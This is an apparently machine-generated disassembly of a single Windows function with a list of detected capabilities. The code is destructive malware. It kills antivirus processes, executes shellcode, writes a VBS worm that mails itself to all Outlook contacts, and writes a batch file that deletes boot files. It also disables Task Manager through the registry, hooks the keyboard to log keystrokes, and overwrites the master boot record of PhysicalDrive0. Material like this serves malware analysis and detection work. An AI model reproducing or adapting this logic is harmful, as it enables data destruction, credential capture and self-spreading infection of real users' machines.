Function at 0x1400013e0
Capabilities:
Allocate or change rwx memory
Create pipe
Create process on windows
Create two anonymous pipes
Delete directory
Execute command
Execute shellcode via indirect call
Log keystrokes via application hook
Query or enumerate registry value
Read file on windows
Self delete
Set registry value
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x610]
sub rsp, 0x710
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rbp + 0x600], rax
lea rcx, str.taskkill__f__im_kavsvc.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_KVXP.kxp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
mov qword [rbp - 0x5c], rax
mov dword [rbp - 0x54], eax
mov dword [rsp + 0x60], 0x68
mov rax, qword [rsp + 0x58]
mov qword [rbp - 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov esi, 1
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.conhost.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x30]
mov r8d, 0x400
lea rdx, [rbp + 0x200]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001557
nop dword [rax + rax]
lea rdx, str.Received_from_child_process:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400030d0
mov rcx, rax
lea rdx, [rbp + 0x200]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x30]
mov r8d, 0x400
lea rdx, [rbp + 0x200]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001500
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
mov qword [rbp - 0x5c], rax
mov dword [rbp - 0x54], eax
mov dword [rsp + 0x60], 0x68
mov rax, qword [rsp + 0x58]
mov qword [rbp - 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.svchost.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x30]
mov r8d, 0x400
lea rdx, [rbp + 0x200]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001699
lea rdx, str.Received_from_child_process:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400030d0
mov rcx, rax
lea rdx, [rbp + 0x200]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x30]
mov r8d, 0x400
lea rdx, [rbp + 0x200]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001642
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp - 0x30], 0x90909090
mov r9d, 0x40
mov r8d, 0x3000
mov r14d, 4
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001716
lea rdx, str.Error_allocating_memory_for_shellcode
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [rbp - 0x30]
mov dword [rbx], eax
call rbx
mov r8d, 0x8000
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, str.C:UsersAdministratorAppDataLocalMicrosoftWindowsINetCache
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140001776
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Error_deleting_folder:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400030d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeMicrosoftWindows_NTCurrentVersionInstallDate
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rbp - 0x30], 0x400
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.MachineGuid
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1400017e0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Registry_value:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400030d0
mov rcx, rax
lea rdx, [rbp + 0x200]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.odkodjow.vbs
lea rcx, [rbp]
call fcn.140002ba0
nop
lea rdx, str.On_Error_Resume_Next
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.For_x__1_To_100
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Set_Mail__ol.CreateItem_0_
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Mail.to__ol.GetNameSpace_MAPI_.AddressLists_1_.AddressEntries_x_
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Mail.Subject_ThreatBook_X
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Mail.Body_
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Mail.Attachments.Add_dir2__Win32system.vbs_
lea rcx, [rbp]
call fcn.1400030d0
lea rdx, str.Mail.Send
lea rcx, [rbp]
call fcn.1400030d0
lea rcx, [rbp + 8]
call fcn.140002ff0
test rax, rax
jne 0x14000194a
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp]
call fcn.1400012c0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.kodo.bat
lea rcx, [rbp]
call fcn.140002ba0
nop
lea rdx, str._echo_off
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.attrib___r___s___h_c_:__autoexec.bat
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.del_c_:__autoexec.bat
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.attrib__r__s__h_c:_boot.ini
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.del_c:_boot.ini
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.attrib__r__s__h_c:_ntldr
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.del_c:_ntldr
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.attrib__r__s__h_c:windowswin.ini
lea rcx, [rbp]
call fcn.1400030d0
mov rcx, rax
lea rdx, [0x1400032a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.del_c_:_windowswin.ini
lea rcx, [rbp]
call fcn.1400030d0
lea rcx, [rbp + 8]
call fcn.140002ff0
test rax, rax
jne 0x140001ab0
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp]
call fcn.1400012c0
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsProxyEnable
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [rbp - 0x30], r15d
mov dword [rsp + 0x28], r14d
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, r14d
mov r8d, r14d
lea rdx, str.ProxyEnable
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.KEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [rbp - 0x30], esi
mov dword [rsp + 0x28], r14d
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, r14d
mov r8d, r14d
lea rdx, str.DisableTaskMgr
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.HKEY_CURRENT_USERSoftware
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [rbp - 0x30], esi
mov dword [rsp + 0x28], r14d
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, r14d
xor r8d, r8d
lea rdx, str.DC3_FEXEC
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareFlySkyE
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [rbp - 0x30], esi
mov dword [rsp + 0x28], r14d
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, r14d
xor r8d, r8d
lea rdx, str.Install
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r12, [0x1400098f0]
nop dword [rax]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140001380]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x1400098e0], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
nop word [rax + rax]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp - 0x28]
mov rcx, rbx
call fcn.140003760
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov rdi, qword [rbp - 0x10]
mov rbx, qword [rbp - 0x28]
test byte [rdx + rax + 0x10], 6
jne 0x140001d06
cmp qword [rbp - 0x18], 0
jne 0x140001cc0
mov rcx, qword [0x1400098e0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
lea rcx, [0x1400098f8]
call fcn.140002ff0
test rax, rax
jne 0x140001d40
mov rax, qword [0x1400098f0]
movsxd rcx, dword [rax + 4]
add rcx, r12
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
cmp rdi, 0x10
jb 0x140001d77
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140001d6f
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f85
mov rcx, rbx
call fcn.140003eac
inc esi
cmp esi, 0x14
jle 0x140001c80
lea rax, [rbp]
lea rcx, str.By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook___By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook___By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook____By:TreatBook___By:TreatBook____Fuck_you__Fuck_you
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r14, 1
jne 0x140001d90
mov dword [rsp + 0x58], r15d
mov dword [rbp - 0x30], r15d
lea rdx, [rbp + 0x200]
lea rax, [rbp]
lea ecx, [r14 + 3]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x140001e00
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
mov rcx, qword [rax + 0x70]
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
movzx ecx, word [rax + 0x7c]
mov word [rdx + 0x7c], cx
movzx ecx, byte [rax + 0x7e]
mov byte [rdx + 0x7e], cl
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001f2e
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x30]
mov r8d, 0x200
lea rdx, [rbp + 0x200]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x38], r15
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9001c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.odkodjow.vbs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.kodo.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rbp + 0x600]
xor rcx, rsp
call fcn.140003c00
lea r11, [rsp + 0x710]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3